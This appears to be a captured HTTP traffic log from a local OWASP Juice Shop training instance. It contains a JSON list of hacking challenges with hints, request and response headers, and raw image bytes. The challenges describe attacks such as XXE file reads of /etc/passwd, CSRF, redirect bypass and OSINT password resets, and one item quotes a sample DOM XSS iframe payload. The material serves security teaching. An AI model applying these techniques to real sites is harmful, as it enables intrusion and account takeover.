basket.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_view_another_users_shopping_basket","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":7,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":87,"key":"knownVulnerableComponentChallenge","name":"Vulnerable Library","category":"Vulnerable Components","tags":"OSINT","description":"<a href=\\"/#/contact\\">Inform the shop</a> about a vulnerable library it is using. (Mention the exact library name and version in your comment)","difficulty":4,"hint":"Report one of two possible answers via the \\"Customer Feedback\\" form. Do not forget to submit the library\'s version as well.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_inform_the_shop_about_a_vulnerable_library_it_is_using","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":88,"key":"weirdCryptoChallenge","name":"Weird Crypto","category":"Cryptographic Issues","tags":null,"description":"<a href=\\"/#/contact\\">Inform the shop</a> about an algorithm or library it should definitely not use the way it does.","difficulty":2,"hint":"Report one of four possible answers via the \\"Customer Feedback\\" form.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/cryptographic-issues.html#_inform_the_shop_about_an_algorithm_or_library_it_should_definitely_not_use_the_way_it_does","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":89,"key":"redirectChallenge","name":"Allowlist Bypass","category":"Unvalidated Redirects","tags":"Prerequisite","description":"Enforce a redirect to a page you are not supposed to redirect to.","difficulty":4,"hint":"You have to find a way to beat the allowlist of allowed redirect URLs.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/unvalidated-redirects.html#_enforce_a_redirect_to_a_page_you_are_not_supposed_to_redirect_to","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"},{"id":90,"key":"xxeFileDisclosureChallenge","name":"XXE Data Access","category":"XXE","tags":"Danger Zone","description":"Retrieve the content of <code>C:\\\\Windows\\\\system.ini</code> or <code>/etc/passwd</code> from the server.","difficulty":3,"hint":"The leverage point for this challenge is the deprecated B2B interface.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xxe.html#_retrieve_the_content_of_cwindowssystemini_or_etcpasswd_from_the_server","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":91,"key":"xxeDosChallenge","name":"XXE DoS","category":"XXE","tags":"Danger Zone","description":"Give the server something to chew on for quite a while.","difficulty":5,"hint":"It is not as easy as sending a large amount of data directly to the deprecated B2B interface.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xxe.html#_give_the_server_something_to_chew_on_for_quite_a_while","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":92,"key":"zeroStarsChallenge","name":"Zero Stars","category":"Improper Input Validation","tags":null,"description":"Give a devastating zero-star feedback to the store.","difficulty":1,"hint":"Before you invest time bypassing the API, you might want to play around with the UI a bit.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_give_a_devastating_zero_star_feedback_to_the_store","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":93,"key":"missingEncodingChallenge","name":"Missing Encoding","category":"Improper Input Validation","tags":"Shenanigans","description":"Retrieve the photo of Bjoern\'s cat in \\"melee combat-mode\\".","difficulty":1,"hint":"Check the Photo Wall for an image that could not be loaded correctly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_retrieve_the_photo_of_bjoerns_cat_in_melee_combat_mode","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":94,"key":"svgInjectionChallenge","name":"Cross-Site Imaging","category":"Security Misconfiguration","tags":"Contraption","description":"Stick <a href=\\"http://placekitten.com/\\" target=\\"_blank\\">cute cross-domain kittens</a> all over our delivery boxes.","difficulty":5,"hint":"This challenge would formally have to be in several categories as the developers made multiple gaffes for this to be possible.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/injection.html#_stick_cute_cross_domain_kittens_all_over_our_delivery_boxes","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":95,"key":"exposedMetricsChallenge","name":"Exposed Metrics","category":"Sensitive Data Exposure","tags":"Good Practice","description":"Find the endpoint that serves usage data to be scraped by a <a href=\\"https://github.com/prometheus/prometheus\\">popular monitoring system</a>.","difficulty":1,"hint":"Try to guess what URL the endpoint might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_find_the_endpoint_that_serves_usage_data_to_be_scraped_by_a_popular_monitoring_system","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":96,"key":"freeDeluxeChallenge","name":"Deluxe Fraud","category":"Improper Input Validation","tags":null,"description":"Obtain a Deluxe Membership without paying for it.","difficulty":3,"hint":"Look closely at what happens when you attempt to upgrade your account.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_obtain_a_deluxe_membership_without_paying_for_it","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":97,"key":"csrfChallenge","name":"CSRF","category":"Broken Access Control","tags":null,"description":"Change the name of a user by performing Cross-Site Request Forgery from <a href=\\"http://htmledit.squarefree.com\\">another origin</a>.","difficulty":3,"hint":"Find a form which updates the username and then construct a malicious page in the online HTML editor. You probably need an older browser version for this.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/broken-access-control.html#_change_the_name_of_a_user_by_performing_cross_site_request_forgery_from_another_origin","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":98,"key":"xssBonusChallenge","name":"Bonus Payload","category":"XSS","tags":"Shenanigans,Tutorial","description":"Use the bonus payload <code><iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true"></iframe></code> in the <i>DOM XSS</i> challenge.","difficulty":1,"hint":"Copy + Paste = Solved!","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/xss.html#_use_the_bonus_payload_in_the_dom_xss_challenge","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":3,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":99,"key":"resetPasswordUvoginChallenge","name":"Reset Uvogin\'s Password","category":"Sensitive Data Exposure","tags":"OSINT","description":"Reset Uvogin\'s password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism with <i>the original answer</i> to his security question.","difficulty":4,"hint":"You might have to do some OSINT on his social media personas to find out his honest answer to the security question.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_reset_uvogins_password_via_the_forgot_password_mechanism","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":100,"key":"geoStalkingMetaChallenge","name":"Meta Geo Stalking","category":"Sensitive Data Exposure","tags":"OSINT","description":"Determine the answer to John\'s security question by looking at an upload of him to the Photo Wall and use it to reset his password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism.","difficulty":2,"hint":"Take a look at the meta data of the corresponding photo.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_determine_the_answer_to_johns_security_question","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":101,"key":"geoStalkingVisualChallenge","name":"Visual Geo Stalking","category":"Sensitive Data Exposure","tags":"OSINT","description":"Determine the answer to Emma\'s security question by looking at an upload of her to the Photo Wall and use it to reset her password via the <a href=\\"/#/forgot-password\\">Forgot Password</a> mechanism.","difficulty":2,"hint":"Take a look at the details in the photo to determine the location of where it was taken.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/sensitive-data-exposure.html#_determine_the_answer_to_emmas_security_question","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Choosing_and_Using_Security_Questions_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":102,"key":"killChatbotChallenge","name":"Kill Chatbot","category":"Vulnerable Components","tags":"Code Analysis","description":"Permanently disable the support chatbot so that it can no longer answer customer queries.","difficulty":5,"hint":"Think of a way to get a hold of the internal workings on the chatbot API.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_permanently_disable_the_support_chatbot","mitigationUrl":"https://cheatsheetseries.owasp.org/cheatsheets/Vulnerable_Dependency_Management_Cheat_Sheet.html","solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":103,"key":"nullByteChallenge","name":"Poison Null Byte","category":"Improper Input Validation","tags":"Prerequisite","description":"Bypass a security control with a <a href=\\"https://hakipedia.com/index.php/Poison_Null_Byte\\">Poison Null Byte</a> to access a file not meant for your eyes.","difficulty":4,"hint":"Take a look at the details in the photo to determine the location of where it was taken.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/improper-input-validation.html#_bypass_a_security_control_with_a_poison_null_byte","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":104,"key":"bullyChatbotChallenge","name":"Bully Chatbot","category":"Miscellaneous","tags":"Shenanigans,Brute Force","description":"Receive a coupon code from the support chatbot.","difficulty":1,"hint":"Just keep asking.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/miscellaneous.html#_receive_a_coupon_code_from_the_support_chatbot","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":105,"key":"lfrChallenge","name":"Local File Read","category":"Vulnerable Components","tags":"OSINT,Danger Zone","description":"Gain read access to an arbitrary local file on the web server.","difficulty":5,"hint":"You should read up on vulnerabilities in popular NodeJs template engines.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/vulnerable-components.html#_gain_read_access_to_an_arbitrary_local_file_on_the_web_server","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"},{"id":106,"key":"closeNotificationsChallenge","name":"Mass Dispel","category":"Miscellaneous","tags":null,"description":"Close multiple \\"Challenge solved\\"-notifications in one go.","difficulty":1,"hint":"Either check the official documentation or inspect a notification UI element directly.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_close_multiple_challenge_solved_notifications_in_one_go","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":null,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.204Z","updatedAt":"2024-03-05T22:20:43.204Z"}]}'
GET http://localhost:3000/api/Challenges/?name=Score%20Board HTTP/1.1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 OPR/102.0.0.0 Host: localhost:3000 Pragma: no-cache Cache-control: no-cache Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0 Accept: */*
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nContent-Type: application/json; charset=utf-8\r\nContent-Length: 648\r\nETag: W/"288-+6MXCxbAAzddYJ6OcfJM5xJ4Tgg"\r\nVary: Accept-Encoding\r\nDate: Tue, 05 Mar 2024 22:26:55 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'{"status":"success","data":[{"id":74,"key":"scoreBoardChallenge","name":"Score Board","category":"Miscellaneous","tags":"Tutorial,Code Analysis","description":"Find the carefully hidden \'Score Board\' page.","difficulty":1,"hint":"Try to find a reference or clue behind the scenes. Or simply guess what URL the Score Board might have.","hintUrl":"https://pwning.owasp-juice.shop/companion-guide/latest/part2/score-board.html#_find_the_carefully_hidden_score_board_page","mitigationUrl":null,"solved":false,"disabledEnv":null,"tutorialOrder":1,"codingChallengeStatus":0,"createdAt":"2024-03-05T22:20:43.194Z","updatedAt":"2024-03-05T22:20:43.194Z"}]}'
GET http://localhost:3000/assets/public/images/products/apple_juice.jpg HTTP/1.1 User-agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Host: localhost:3000 Accept: image/avif,image/webp,*/* Accept-language: en-US,en;q=0.5 Referer: http://localhost:3000/ Connection: keep-alive Cookie: continueCode=aj4QDO4KyOqPJ7j2novp9EQ38gYVAJlGM1wWxalND5reZRLzmXk6BbmzZRb3; language=en Accept-encoding: gzip, deflate Content-type: application/x-www-form-urlencoded Content-length: 0
b'HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\nX-Content-Type-Options: nosniff\r\nX-Frame-Options: SAMEORIGIN\r\nFeature-Policy: payment \'self\'\r\nX-Recruiting: /#/jobs\r\nAccept-Ranges: bytes\r\nCache-Control: public, max-age=0\r\nLast-Modified: Wed, 28 Feb 2024 19:21:39 GMT\r\nETag: W/"3bbb-18df12a536e"\r\nContent-Type: image/jpeg\r\nContent-Length: 15291\r\nDate: Tue, 05 Mar 2024 22:31:28 GMT\r\nConnection: keep-alive\r\nKeep-Alive: timeout=5\r\n'
b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x03\x02\x02\x02\x03\x04\x03\x02\x02\x03\x04\x05\x04\x04\x04\x04\x04\x05\x06\x05\x05\x05\x05\x05\x05\x06\x06\x07\x07\x08\x07\x07\x06\t\t\n\n\t\t\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x01\x03\x03\x03\x05\x04\x05\t\x06\x06\t\r\n\t\n\r\x0f\x0e\x0e\x0e\x0e\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0f\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0f\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\xff\xc2\x00\x11\x08\x017\x01\x17\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xff\xc4\x00\x1e\x00\x01\x00\x01\x04\x03\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x05\x07\x08\n\x01\x04\x06\x03\x02\xff\xda\x00\x08\x01\x01\x00\x00\x00\x00\x9e\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x9e%e\xc8\x00\x00\x00\x1c`\xac"y\xfd\xa8}(\x00\x00\x00b\x9c\x15\xd9\x19\xb5\x92\xde\xe0\x00\x00\x005n\xcdi\xa6\xaa\x80\x00\x00\x00\xd4_d\xac\x9e\x00\x00\x00\x01\xf9\xd3\x13o[\x90\x00\x00\x00\x03\xc5i\xcf\xba?\xd8\x00\x00\x00\x06:k\x1f\xb7\xd8\x00\x00\x02\xd4\xc5%\xaf\x0bc\x86R7\xf6\xcb\xb98\xec\x00\x00\x05?R\xbc\x8d\xbf\xdc\x8c[\xb2R#\xf0\x8f\x99:\x9a\xb0\x00\x00\xc3Mr\xb6\xab\xe4!\xfa\xcb\xcfW\x18]\x08\xbbor\x00\x00!\x02\xcb\xce\x98s\x06>\xc6g\x14\x8dK\xb6\xc9\xbe`\x00\x04y\xeb\xff\x00^\xba`\xc7\xff\x00Kv\xcca\xcb\xfd\x89\xae\xa0\x00\x03Qk\xf3p\x80\x03\x12\xa5\x1ag@\x00\x10\xcd\x07\x7f^A\xf2\xfd\xfe\x8f\xcf\xa8\xdak%\xc0\x00\x1egM\x1d\xa8n\xf8s\xa9\xc6\xc4YHFt{\xed\x1a\x00\x004\xe4\xd8C-\xf9p\xe9j\x11\xb5e\xd8!\xd6\xd7l^\x00\x005C\x95i\x14\xe7\x8f\xca\xd5j\x9f\xb7\xadB\x95\x8e\x91?\x90\xd3\x9c\x00\x005\xa5\xc9\xf9j\xfa~~L]\xd7kl~q\xb3X\x84\xc8\xcb\xb5\xd0\xfb\x00\x00 \x1e\x8f7\xff\x00o\xcf\xc1\x82P\xe3\xb0\xfc\x17aG\x19\xb7\x88\x97\x03`\x9c\xf0\x00\x00CN\x18l\'\xd9\xfc\xf5\x91s\x82\xf3\x97\xac6`\xdeh\xbeS$\xf7\xc7\xd7\xf3^P\xea\xe0\x00\x8c\xa8y\xd9\xa3\xbb\xc7I\x0f\x96\xf2]c\x92\x18\xab<t\x17_\xdf\xd3\xec\xb6[l\xe1Q\x00\x0c)\xd7\x0bi\xca\xf7[\xc8\xf9\xac\x12\xade\x96\xbf\x9f\x0b\xe7N\xc7\x0f\x0b^\xc8\xcb\xc5oq\x02{\xe54\x00,N\xa3\x9bGW>\xdeO\x8b#\xe8\xba\x1a\xea\xc8M\xf2\xab[O\x01\xdd\xee\xf3E\xc6\x1c\xaa\xd9\x1c\x00<\xee\x9a\x1b9\xddjW\x8b\xf9?X\xeb\x04R\x03~+>\x0e\xd5rt\xb1\xbf\xd6\xedR\x00\r:\xe7\xa30\xbb\x9e>\x9d\xfb\xa9\xe2\xae\xbd\xd2\x15\xfa\xa8S\x82\x9f\x8c\xb7\xcbg\x10\x00j\x95&r+S\xa0u\x8f\x01\xab,\x80z <\xf6%\xc9\xcc\xea\x80\x03Z\x8c\x84\x95\xaa\xbd\x0f\xe65\xc8\xa6\xe4\x8f!\xc5\xb2\xc3\x8d\xa62\xd8\x00\x10\x13\xe4&\x8c\x0c+\x80\\\xe5\xf6<\x8aF\x1de\xee\xcb\x00\x00C\xecl\xec-P\x02\x12c\xd7+\xae\xcf\xeb\x8f1\x89\xfe\xc3i;\x9c\x00\x05\xa6\xd5\xd2\xc3\x00\xfd\xe6=\x81\xf1\xfe\xb2\x93\xe6\xe4\xa6x.0\x00\x05>\xde\x00\xec\\\xbaF$ZOO\x96\x978\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xff\xc4\x00\x1c\x01\x01\x00\x01\x05\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x02\x03\x04\x06\x07\x08\xff\xda\x00\x08\x01\x02\x10\x00\x00\x00\xcc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdc\xd3\x00\x00\x00\x01\xbf=w%h\x00\x00\x00m\xf4\x19\xe0\xa2\xe8\x00\x00\x00\x0e\xb3F\n\x80\x00\x00\x00;._T\x00\x00\x00\x03\xb8\xe31\x00\x00\x00\x00\xbf\xb6\xe1\x80\x00\x00\x006z\xae0\x00\x00\x01\x96c5\x06m\xd8\xc6\x94P\x00\x00+\xd8\xdb\x8c3d\xd5mB\xc1\x80\x00\x06\xefU\x0e\r\xdc\x91\xcc\xfb|p\x00\x00OH\xc7\x82B\xdd\x15fx\xedp\x00\x02K\xa3\xad\x80\xcbLf]\x1ek\x10\x00\x03\xb2Z\x00)\x9a\x1a\x0c\x00\x017?P\x00\xc7\xc9j\x80\x00.\xed\xe2,\x04\xc4n\x13j\xfeL\x00\x00v\xd1\xd8A7\x0fa\xbd\xaf\xcd\x00\x00\x0e\xbf\x0e\xa5+U\xf3\x10\x8a\xe4\xdd\x8d\x80\x00\x00\x1dM\xfa4\\\xcb\'\x0e\xcb-X8l \x00\x07E\xb9\x1feoln\xc6\xc8g\xa7\x8c{\ry\xc8\xf0\x00\x04\xdc\xb4]\x95\xc8\xdb\xd8\x8f\x96\xf1.?\xe9f\xccNKt"h\x00\tN\x82\'\x15r\xaf\xe6\xf8\xf9\x9fS\xd3\xaej\xf2\xd0Yz\xed\x8eV\x80\x01\xbd\xd3p\xf9\xb5\xe29\xa8Za\xf7\xc8n+c\xd0\xa6\xf4|\xfb\x92\xde\xf6H\xf8\x90\x00\xd8\xec>^\x96\xba5\x92\xd9O\xa1\xbc\x15v\xbel8\xd9=\x03\xae\xe6\x00\x02\xee\xdf\xe6K\xf7\xa3\xedR\x7f\xdb\xfc\'z\xfc\x1a\xb5+\xdaz\'"\x00\x0e\xd7\xe7\xc8\x9d\xa8\x9aS\x1fW\xef>\x0c\xad\x02\xee\xe7\xba\xe5@\x01\xd7x\xc7\'\xbd\x11\x80\xde\xfa\x83\xc2\xb4\x00\xcb\xea2\x90\x00\x00\xea|\xc3\xcd\xe4bm)\xf4D\x1f\x9f\x01#\xed\x9c\xce\x98\x00:\x1e3\xc7\x00\xec\xbd\xdb\xc5\xa2\x82\xff\x00W\x99\xe5\xc0\x00\x9a\xd3\xf9\xfe\xc0S\xda{\xaf/\xe5\xcd\xff\x00L\xe8y<@\x00f\xea\xf6j\x054vu\xe2\xf6\xa5c9\xec`\x00\x15\xc8\x01\x8a\xbb\xb9\xac\xd3\xc4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\xc4\x00\x1c\x01\x01\x00\x01\x05\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x02\x03\x05\x06\x07\x08\xff\xda\x00\x08\x01\x03\x10\x00\x00\x00\x82\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc9\x8c\x00\x00\x00\x06Y5\x83@\x00\x00\x00\xc9&\xe8\xf8h\x00\x00\x00\t\xb8\xe3\xd0\x00\x00\x00\x04\xf8v\x00\x00\x00\x00l`Z\x00\x00\x00\x02\xbb\r}\x00\x00\x00\x00_2\x00\x00\x00\x02\xec\xf5\x0b\xb2aY\x86\x80\x00\x01Y\xda\x98\x94\x1b\tZZ\xeen\x8c\x00\x00\x19ry\xf8:I\\\x8bg\xd9\xc0\x00\x00\t:\xbeL\x1d^>aw\xa1\xc4\xb0\x00\x00\xcd&<pK\xb299\x12\xd0\x00\x04\xfd^\x10\x00\xd8\xdf\x18\x00\x01"H\x14*Q\n\xc0\x00\x05v\x1c\x04`z\x17\x1b\xaf7\x9dD \x00\x01\xb0\xe2u\xd5\xa1_G\xe0#\x1d.\xf6 \x00\x00\x9d\xcai\xebKR=\x03\xcem\xbaoC\xb1\x8a\x00\x00%\xf3\xda\x0b\xa9b\x7fi\xe7\x89\xdd\xcb\x06\nP\x00\x01+O\xcce\xb7\x13m\xd2\xf1\xbd^\xd1\xa7\xdb\xd2. \x00\x04\x88<\x86{p7\xdbnW\xba\xd5D\xe8\x97a\xab\x16\x1a\x00\x03>.\x1eB3\xab\xe8\xe2\xcf\x89ee=;\xb9\xc1\xe4\xbcl:\x00\x06Y\x1c\xcb4\xfd\xff\x00]n\xbbE\xed\x1e\xcf\x03\xe7\xee/w\xef\xfe\xb1\xad\xf8\xd7\x8c\xc0\x00\x17\xcf\xde\x99\xd2\xec\x85\xa1\xfb\xb7W\x1b\xa0\xc72]qx\'\xce\x90\xc0\x02\xbb\x0c\xd2\xe4\xcb\x1a\xd9\x9fr\xf1P\xf7}=K<\x8f\xe5X \x00\x9f\x9a\x899i\x1f\x1e\xcf\xee\xeaG\x93Q\x8f\xc5>d\x84\x00\t\xd9\xd4\xadF/\xb9\xf7\xe0a\xf9\x83\xc5\xe2\x80\x02\\\x9a\xd2\xe0\xb3\xe8\x1f\xa0\xaa\x14\xd2|I\xa3\xc6\x00\tRo\x02\x92>\xcd\xeb*1|\xaf\xe40\xc0\x00\x91.\xf0\x16m\xbe\x9d\xf4\xfb\xa9\xcf\xfc\xdd\xe50\xad\x00\x02\xe9\xb7P\n\xe3\xbfu\xd4j\xf9H\xf1\xad\x00\x00\xad@-\xaeJ\xd2\xcb@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xff\xc4\x00B\x10\x00\x00\x06\x00\x03\x04\x05\x08\t\x02\x05\x05\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x00\x07\x11\x08\x12\x13\x14\x10\x16!1V\x15\x18 02@RW\x17"#ABPQaf34$CTbr%S`p\x81\xff\xda\x00\x08\x01\x01\x00\x01\x12\x01\xff\x00\xc6Lb\x90\xa69\xcc\x04!\x03S\x9dl\xee\xa0\x05\xb6.\x9c\xd2S\xca2\x12K\x02\x02\xef\xf2\x0b\xfe\xd04zH\xac\xc9\xb3\x8e\xb2M\xa7\xd81\xf7\xcc\xea\xbc_\x84\xc8?\x7f\xe4\xd8\x9d@I\x0fB\xca\xcb\xbd\xe9\xdaJ@F\x99&\x88\xa8QRf\x1d\t\x06\xd11\xad\xa5\x9d\x15\xec\x9a\r\x92M\xfb\xcf}\xcc|\xe0\xaae\xaaeJP\xea>\x98]1Q\xa4>`\xe7\xcd\xd6\xf7\xc7bW>B\x82P\xdd\x91\x94\xdc\xba\xb7\xdf\x1dr\xf5\xb8\x85\x1d&Q\x0e;\xfc\xbe\xd9\x9a\xaf\\\xe5\xe4-J\x05\x92]1\x03\xf2\xc87A\xaa)6j\x8am\x9b\xa0P"({\xf6\xd0O9\xcc\xdd\xb7\x1b{x\x8d\xce\xd5\x02c#2\x1a\xafc\xad\xc5\xddm<i\x1f(\x19nV\x15\x93\x16Q\xcd\x92g\x1e\xd1\x16-\x11\r\x11k\xf9\x06g\xba\xe7s\x1a\xf2\xe3\xb7\xb6u\xf1\x0b\x8c\x97e\xc8ee\x1d\rDw\xe3\x13q\xf9\x08\xf6v\xfe\x98\x96w\xe5\tY7\xe2 "\xf5\xd2\xcb\xebNh,*5f&\x02\x94\xcc\xe2\x19 b\xfeAd{\xe4\xea\xec\xf4\x87h\xf2\x11\xce\x9ch\xd1\xb9\x9d\xbal\xd4\x9a\xef\xb9T\x89\x13\t\x90\x13!\x13/\xb2B\x81K\xf9\x0en\xbb+,\xb1\xbd\xacc\x01@\xf0\xce\x90\xd7/\x1as\xf7\xeaS=\xdd\xe0^r<\xa7/\xbd[\xee\xb5\xca4Y\xe5\xacr\x05f\x80\x01\xb8\x08X6\xba8(\xa2uz\x99\x0c\x99N 